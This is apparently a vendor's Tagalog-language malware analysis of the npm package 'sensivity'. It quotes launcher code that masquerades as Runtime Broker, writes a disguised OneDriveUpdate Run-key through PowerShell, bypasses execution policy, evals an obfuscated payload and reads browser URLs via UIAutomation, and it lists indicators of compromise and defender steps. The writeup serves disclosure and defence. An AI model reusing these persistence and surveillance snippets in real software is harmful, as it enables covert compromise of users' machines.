PairLoop: Nakatagong Remote-Control Panel sa npm Package

PairLoop: Isang npm Package, Pitumpung Bersyon, at Isang Nakatagong Windows Remote-Control Panel

Tl; DR

Ang pakete ng npm sensitibidad inilalarawan ang sarili nito bilang isang "Sensivity Control Panel." Sa Windows, gumagana ito bilang isang remote-control at surveillance tool.

Ang pasukan nito, launcher.js, pinapalitan ang pangalan ng sarili nitong proseso sa Runtime Broker, nagsusulat ng autostart Run-key value na pinangalanang OneDriveUpdate na muling naglulunsad ng pakete sa pamamagitan ng isang nakatagong VBScript, ay lumilikha ng PowerShell na may -ExecutionPolicy Bypass, at pagkatapos ay sinusuri ang isang 171 KB na obfuscated server payload kasama ang isang 6.87 MB native module, sens.node.

Nagseserbisyo ito sa isang phone-pairing control panel sa TCP port 3000 at binabasa ang address-bar URL ng aktibong browser sa pamamagitan ng Windows UIAutomation, habang nagbabantay para sa isang hard-coded na YouTube video.

Dalawang bahagi na dating mababasa bilang mga itim na kahon ay nalutas na ngayon. Ang natabunan na server, server.obf.js, gumagamit ng obfuscator.io RC4 string-array scheme; ang muling pagpapatupad ng decoder nito offline (walang JavaScript na pinapatakbo) ay nagre-recover ng isang panlabas na endpoint — https://izopi.com/check.php — kasama ang isang naka-embed na RSA public key na ginagamit upang beripikahin ang mga nilagdaang tugon sa lisensya.

Ang katutubong modyul, sens.node, ay hindi naka-pack: ang import table at mga naka-embed na string nito ay tumutukoy dito bilang isang in-game overlay ng DirectX 11 / Dear ImGui na nagbibigay ng mga feature na aimbot, ESP (wall-hack), at triggerbot, na pinapagana ng remote-process injection at memory reads/writes.

Ang mga string sa loob nito ay tumutukoy sa mga entity ng sasakyan at mga lokasyon ng mapa na naaayon sa GTA V / FiveM. Ang npm package ay ang delivery at persistence wrapper sa paligid ng native module na iyon.

Ang hudyat na tumutukoy ay operasyonal, hindi teknikal: isang nag-iisang hindi nagpapakilalang tagapaglathala ang naglabas ng humigit-kumulang pitumpung bersyon ng isang pakete — 2.5.0 sa pamamagitan ng 2.5.69 — sa loob ng ilang araw, bawat isa ay may dalang parehong launcher.

Walang mga pag-install hooksAng payload ay tatakbo lamang kapag sinimulan na ang package.

Ang Pag-atake: Paano Ito Gumagana

Nagpapadala ang sensivity ng sampung file. Kakaunti ang package.json: walang repository field, walang lisensya, isang main at dalawang bin alias (sensivity, sens) na lahat ay nakaturo sa launcher.js, at isang start script ng node launcher.js. Walang postinstall o preinstall. Walang gumagana sa npm install. Ang kilos na inilalarawan sa ibaba ay tumatakbo kapag sinimulan ng isang user ang package — sa pamamagitan ng bin shim, start script, o isang require.

Ang tarball ay naglalaman ng launcher, isang obfuscated server, ang native module, isang Visual Basic script, at isang public/web directory para sa control panel. Ang launcher.js ang readable orchestrator; ang logic na mahalaga sa runtime ay nasa dalawang blobs na nilo-load nito — isang obfuscated server at isang compiled na native module, na parehong nireresolba sa ibaba.

 Pagbabalatkayo ng proseso at isang pekeng OneDrive updater

Sa simula ng pagpapatupad, dalawang beses na itinatakda ng launcher.js ang sarili nitong pangalan ng proseso:

   javascript process.title = 'Runtime Broker'; 

Ang Runtime Broker ay isang lehitimong proseso ng Windows (RuntimeBroker.exe) na namamagitan sa mga pahintulot ng app. Ang pagpapalit ng pangalan ng isang proseso ng Node upang tumugma dito ay nangangahulugan na ang isang mabilis na sulyap sa Task Manager ay hindi magpapakita ng kakaiba.

Ang Persistence ay isinusulat sa pamamagitan ng PowerShell sa halip na isang direktang registry API:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Ang autostart value ay pinangalanang OneDriveUpdate, at hindi ito direktang nakaturo sa package. Nakaturo ito sa wscript.exe na nagpapatakbo ng naka-bundle na OneDrive.Standalone.Updater.vbs. Muling inilulunsad ng script na iyon ang node launcher.js sa isang nakatagong window. Parehong hinihiram ng pangalan ng Run-key at ng VBScript filename ang branding ng Microsoft, kaya ang autostart entry ay mababasa bilang isang regular na gawain sa OneDrive.

PowerShell na may bypass sa patakaran ng pagpapatupad

Paulit-ulit na nagko-charge ang launcher sa PowerShell. Ang sink na minamarkahan ng mga scanner bilang kritikal ay ang paglulunsad ng isang nabuong .ps1 nang hindi pinagana ang execution policy:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Inaalis ng ExecutionPolicy Bypass ang local script-signing check para sa invocation na iyon. Ang mga nabuong script ang humahawak sa browser-surveillance at window-detection work na inilarawan sa susunod na seksyon.

Ang na-obfuscate na server at ang native module

Pagkatapos ng pag-setup, nilo-load at isinasagawa ng launcher.js ang tunay nitong payload:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Ang server.obf.js ay may 171 KB ng _0x-array obfuscation — ang JavaScript pattern kung saan ang bawat string at identifier ay pinapalitan ng isang index patungo sa isang shuffled array, pagkatapos ay inaalisan ng reference sa runtime. Ang scheme ay ang RC4 variant na ginawa ng obfuscator.io: isang decoder function na base64 ang nagde-decode ng isang array entry at pagkatapos ay ide-decrypt ito ng RC4 gamit ang isang per-call key. Ang muling pagpapatupad ng decoder na iyon sa isang hiwalay na script — pagpapatakbo lamang ng muling pagpapatupad sa nakuha na 821-entry string array, hindi kailanman sa sariling JavaScript ng package — ay nag-a-unwind dito nang malinis. Ang mga surface na katamtaman ngunit decisive: isang panlabas na URL, https://izopi.com/check.php`, na nakatalaga sa isang LICENSE_URL constant; isang naka-embed na RSA PUBLIC_KEY_PEM`; iruruta ng lokal na panel ang /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, at /trigger/status; at ang mga string na child_process, crypto, at [Sensivity] sens.node na nilo-load — ang huli ay ang eksaktong log line na muling isinusulat ng launcher sa program module na nilo-load. Ang endpoint ay isang pagsusuri ng lisensya: magpo-post ang client ng identifier (ang na-obfuscate na server ay nagpo-format ng Discord ID: %s string) at beripikahin ng RSA key ang nilagdaang tugon ng server.

Ang sens.node ay isang 6.87 MB na native addon na na-compile, at hindi ito naka-pack — ang section entropy ay nasa 5.6–6.6 at ang mga PE import at export table ay buo, kaya ang mga kakayahan nito ay direktang mababasa. Ine-export nito ang napi_register_module_v1, ang standard Ang entry point ng Node N-API, kaya nilo-load ito ng eval'd server gamit ang isang simpleng require. Ang import table nito ang nagsasabi. Mula sa KERNEL32, kinukuha nito ang OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, at Process32First/NextW — ang canonical set para sa paghahanap ng isa pang proseso, paglalaan ng memorya sa loob nito, at pagbabasa o pagsusulat ng memoryang iyon. Mula sa USER32, kinukuha nito ang GetAsyncKeyState, GetKeyState, mouse_event, at SetCursorPos; iniuugnay nito ang d3d11.dll, D3DCOMPILER_43, at dwmapi para sa isang on-screen overlay, at ang buong WINHTTP set para sa mga network call. Ang mga naka-embed na string nito ay nagbibigay ng pangalan sa feature set nang walang kalabuan: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, at ang Dear ImGui banner na Dear ImGui 1.91.3 WIP. Ang mga string ng lokasyon at entity tulad ng Grapeseed Medical Clinic at ang bokabularyo ng vehicle-ESP ay naaayon sa GTA V / FiveM.

Ang paghahati ay sadyang epektibo: ang readable launcher.js ay nagdadala lamang ng mga bahaging madaling basahin ng isang scanner — persistence, masquerade, ang eval call mismo — habang itinatago ng obfuscation ang isang external host na mga runtime contact, at ang binary ay nagtataglay ng game-overlay at process-injection logic. Ang launcher ay ang manipis at auditable shell; itinatago ng obfuscated server ang network identity; ang native module ay ang payload. Inilalarawan natin ang mga import at string ng binary bilang nabasa na; hindi natin hinuhulaan ang layunin ng operator mula sa mga ito.

 Isang control panel para sa pagpapares ng telepono sa port 3000

Pinamamahalaan ng launcher ang isang lokal na web server sa TCP port 3000 at tinatrato ito bilang isang singleton. Nagtatanong ito para sa isang umiiral na listener at nililimas ito bago mag-bind:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Maaabot ang panel sa http://localhost:3000, na may hard-coded na LAN fallback URL na http://192.168.1.16:3000. Ang public/ directory at ang kilos ng panel ay naaayon sa daloy ng QR-pairing: ini-scan ng telepono ang isang code at nagbibigkis sa host bilang isang remote. Walang panlabas na command-and-control domain na lumalabas sa cleartext sa launcher — ngunit, gaya ng ipinapakita ng deobfuscation sa itaas, mayroon nito sa obfuscated server: ang izopi.com license endpoint. Ang panel mismo ay local at sakop ng LAN; ang tanging outbound host ay ang license check na iyon.

Ang isang hiwalay na modelo ng superbisor/manggagawa ay nagpapanatili sa proseso na buhay. Ang launcher ay muling nagpapagana ng sarili gamit ang mga flag ng kapaligirang SENSIVITY_SUPERVISOR at SENSIVITY_WORKER, kung saan ang bawat anak ay tumatakbo nang nakatago, kaya ang pagpatay sa isang proseso ay nag-iiwan sa isang watchdog upang i-restart ito.

Pagsubaybay sa Browser at ang YouTube Signal

Ang pinaka-espesipikong gawi ay ang pagsubaybay sa browser. Ang launcher.js ay bumubuo ng PowerShell na nagtutulak sa Windows UIAutomation upang basahin ang address bar ng isang tumatakbong browser:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

Ibinabalik ng ValuePattern ang nilalaman ng teksto ng isang elemento ng UI. Kapag inilapat sa kontrol sa pag-edit ng address-bar ng browser, ibinabalik nito ang URL na kasalukuyang tinitingnan ng biktima — nang walang extension ng browser, nang hindi hinahawakan ang profile sa disk, at walang API hook. Ini-uulit ng nabuong script ang isang listahan ng $browserNames at kinukuha ang URL o pamagat ng window ng alinmang browser na nasa foreground.

Ang URL na iyon ay sinubukan laban sa isang hard-coded na target:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Ang launcher ay nagpo-poll sa isang tatlong-segundong loop para sa isang browser window na nagpapakita ng YouTube, at ang nabuong PowerShell ay may pares na Get-YouTubeBrowser / Test-TargetYouTubeUrl na tumutugma sa video ID na iyon. Ang naoobserbahang epekto ay dalawa: ang aktibong browsing URL ay binabasa mula sa screen ng biktima, at ang interaksyon ng host sa isang partikular na video sa YouTube ay nade-detect. Inilalarawan namin ang mekanismo at ang target; hindi kami humihingi ng motibo mula sa mga ito.

Ang address-bar read ay ang tinatawag ng scanner na sensitive_data_enumeration — isang source ng Process::env at UIAutomation na nagpapakain sa isang network-capable runtime. Mukhang hindi ito mapanganib kung ihiwalay at nareresolba lamang sa surveillance kapag ang data lifecycle ay nasubaybayan na mula sa source ng UIAutomation patungo sa obfuscated server.

Timeline at Ebolusyon ng Bersyon

Ang sensivity ay hindi isang minsanang pag-upload. Ang publisher account ay may humigit-kumulang pitumpung nailathalang bersyon ng nag-iisang paketeng ito, at patuloy na dumarating ang mga bago sa panahon ng pagsusuri. Pinapalawak ng launcher ang bawat tampok sa linya ng 2.5.x habang ang persistence at payload-load nito ay nananatiling maayos.

Petsa (UTC) Mga bersyong naobserbahan Katayuan ng launcher
2026-06-02 2.5.8 - 2.5.46 (25) Base QR-panel launcher; Pagtitiyaga ng run-key; pagsusuri ng na-obfuscate na server.
2026-06-03 2.5.53 - 2.5.61 (6) Parehong fingerprint; pagsugpo sa console-trace.
2026-06-04 2.5.67, 2.5.68 (2) Nagdaragdag ng naka-pin na target ng pakikipag-ugnayan sa YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Muling paglalathala ng pagpuno ng puwang sa buong saklaw; superbisor/tagapagbantay ng manggagawa.

Ang pagbabasa ng launcher sa mga na-download na kinatawan — 2.5.0, 2.5.36, at 2.5.69 — ay nagpapakita ng apat na antas. Ang mga pinakaunang build ay may base QR-pairing launcher. Mula 2.5.33 ay lilitaw ang UIAutomation address-bar harvester. Mula 2.5.58 ay idinagdag ang isang supervisor-management layer. Mula 2.5.64, ang hiwalay na supervisor/worker watchdog ang kumukumpleto sa set. Sa kabuuan, apat na bagay ang hindi nagbabago: ang OneDriveUpdate Run key, ang OneDrive.Standalone.Updater.vbs dropper, ang eval'd server.obf.js, at ang sens.node native module.

Kapansin-pansin ang alon noong 2026-06-05 dahil muling inilathala nito ang mababang bilang ng bersyon — 2.5.0 hanggang 2.5.15 — na mas mababa kaysa sa mga bersyong nakumpirma ilang araw na ang nakalilipas. Ang epekto ay isang magkakasunod na linya ng 2.5.x sa registry, bawat bersyon ay may parehong launcher.

Mga tagapagpahiwatig ng kompromiso

Ang lahat ng indicator sa ibaba ay direktang binasa mula sa package na tarball. Ang readable launcher ay mayroon lamang loopback at isang pribadong LAN address; ang nag-iisang external hostname, ang izopi.com, ay na-recover sa pamamagitan ng pag-deobfuscate sa server.obf.js offline.

uri Nagtuturo Mga Tala
pakete npm:sensivity (≈70 bersyon, 2.5.0-2.5.69) Tagapaglathala na may iisang pakete; walang imbakan; walang lisensya.
talaksan launcher.js Nababasang orchestrator; pangunahing target at bin target.
talaksan server.obf.js (≈171 KB) obfuscator.io RC4 string-array payload, nilo-load sa pamamagitan ng eval(fs.readFileSync(...)).
talaksan sens.node (≈6.87 MB) PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
talaksan OneDrive.Standalone.Updater.vbs Nakatagong muling paglulunsad (node launcher.js).
network https://izopi.com/check.php Nabawi ang endpoint ng lisensya/awtorisasyon mula sa na-obfuscate na server; bineberipika ng naka-embed na pampublikong key ng RSA ang mga tugon.
Kakayahan OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Kakayahang mag-iniksyon at magsulat/magsulat ng memorya sa malayong proseso.
Kakayahan Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui game overlay na nagpapatupad ng mga tampok na aimbot, ESP, at triggerbot.
pagpapatala HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Halaga ng autostart na nakaturo sa wscript.exe at ang VBScript launcher.
paraan process.title = 'Runtime Broker' Nagbabalatkayo bilang lehitimong proseso ng Windows Runtime Broker.
Pag-uugali powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Ginagamit ang bypass sa patakaran sa pagpapatupad para sa mga nabuong script ng PowerShell.
Pag-uugali UIAutomation ValuePattern pagbasa ng address bar ng browser Binabasa ang URL ng foreground browser window.
Pag-uugali ID ng target na video wJWta2lO0Lw; 3-segundong botohan sa YouTube Naka-pin na signal para sa pagsubaybay sa pakikipag-ugnayan.
network http://localhost:3000, tulong pabalik http://192.168.1.16:3000 Nakalantad nang lokal at sa LAN ang control panel ng QR-pairing.
kapaligiran SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Mga watawat ng koordinasyon ng proseso na hiwalay na bantay.

Pagpapatungkol, Epekto, at mga Tagapagtanggol

Ang pakete ay inilalathala ng isang npm account na ang nakasaad na email ay isang hindi na-verify na Gmail address. Ang account ay may malalim na negatibong marka ng reputasyon sa registry, pinapanatili at inilalathala lamang ang isang paketeng ito, at walang naka-link na source repository. Hindi pa namin nabe-verify ang pagmamay-ari ng email at iniuugnay namin ang kampanya sa publisher account, hindi sa sinumang pinangalanang indibidwal. Ang launcher ay walang cleartext infrastructure, ngunit ang isang panlabas na host ay kilala na ngayon: ang obfuscated server ay nakikipag-ugnayan sa izopi.com para sa isang pagsusuri ng lisensya, at ang native module — na binabasa mula sa import table at mga string nito sa halip na baligtad na instruction-by-instruction — ay isang game overlay na nag-iinject at nagbabasa ng memorya ng isa pang proseso.

Ang kapansin-pansing epekto ay nararanasan ng mga gumagamit ng Windows na nag-i-install at nagpapatakbo ng sensitibidad na umaasa sa isang control-panel utility. Sa mga host na iyon, itinatatag ng package ang autostart persistence na nakabalatkayo bilang isang OneDrive task, pinapalitan ang pangalan ng sarili nito upang gayahin ang isang proseso ng system, binabasa ang URL ng anumang bina-browse ng user, at itinatayo ang isang pairing panel na nagbibigkis sa makina sa isang remote sa pamamagitan ng lokal na network. Ang ibig sabihin ng supervisor/worker watchdog ay hindi ito maaalis ng isang single process kill; ang Run-key entry ay nakaligtas sa mga reboot. Ang macOS at Linux ay hindi tinatarget ng launcher — ang persistence, PowerShell, at UIAutomation paths ay para lamang sa Windows.

Ang pitumpung bersyong churn ay isang trend na dapat i-flag. Ang muling paglalathala ng isang pakete nang dose-dosenang beses sa loob ng ilang araw, kasama ang pagpuno muli ng mga numero ng bersyon na mas mababa sa mga tinanggal na, ay nagpapanatili ng isang live na kopya sa registry sa pagitan ng mga pag-alis at nakakadismaya sa mga blocklist na naka-pin sa bersyon. Ang entry sa blocklist para sa sensivity@2.5.61 ay walang ginagawa laban sa sensivity@2.5.3 na muling inilathala kinabukasan.

Maaaring kumilos ang mga tagapagtanggol batay sa mga sumusunod:

  • Harangan nang direkta ang sensitibidad ng pangalan ng pakete sa mga allowlist ng registry-proxy at CI. Ang pag-pin sa mga indibidwal na bersyon ay mawawala sa cadence ng muling paglalathala; ang pangalan ang tagapagpahiwatig ng matibay.
  • Maghanap ng Run value na nagngangalang OneDriveUpdate na ang data ay gumagamit ng wscript.exe laban sa isang .vbs sa isang per-user path. Ang tunay na OneDrive updater ay hindi nakarehistro sa ganitong paraan.
  • Alerto sa isang prosesong Node.js na ang process.title ay Runtime Broker. Ang tunay na broker ay RuntimeBroker.exe, hindi isang Node runtime.
  • I-flag ang npm install-time fetches ng mga package na nagpapadala ng isang na-compile na .node addon kasama ang isang eval(fs.readFileSync(…)) ng isang kapatid na .obf.js file. Ang pagpapares na iyon — opaque native binary na nilo-load sa tabi ng isang obfuscated text payload — ang structural tell dito, na hiwalay sa anumang string IOC.
  • Ituring na kahina-hinala sa mga pinamamahalaang Windows endpoint ang anumang locally-bound listener sa port 3000 na nilikha ng isang hindi inaasahang proseso ng Node.
  • Harangan o alertuhan ang mga papalabas na kahilingan sa izopi.com mula sa mga host ng developer o end-user; ito lamang ang panlabas na endpoint ng package, na naaabot sa /check.php mula sa obfuscated server.
  • Para sa anumang naka-bundle na .node addon, siyasatin ang import table nito bago ito pagkatiwalaan. Ang kombinasyong OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ay remote-process injection anuman ang sinasabing ginagawa ng package; dito ito nakaupo sa tabi ng isang Direct3D overlay at mga string ng aimbot/ESP/triggerbot.

Para sa static analysis pipelines, ang hugis ng paniniwala ay matibay sa buong version churn: isang non-network install profile, isang process-title assignment sa isang kilalang system-process name, isang Run-key write sa pamamagitan ng PowerShell, at isang ebalwasyon ng isang file na nabasa mula sa disk. Wala sa mga iyon ang nakasalalay sa isang domain, isang IP, o isang version number na maaaring i-rotate palayo sa susunod na republish.

 Mga sanggunian

[npm: sensitibidad] – pahina ng registry para sa linya ng bersyon ng pakete na tinalakay dito; maaaring tanggalin.

mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite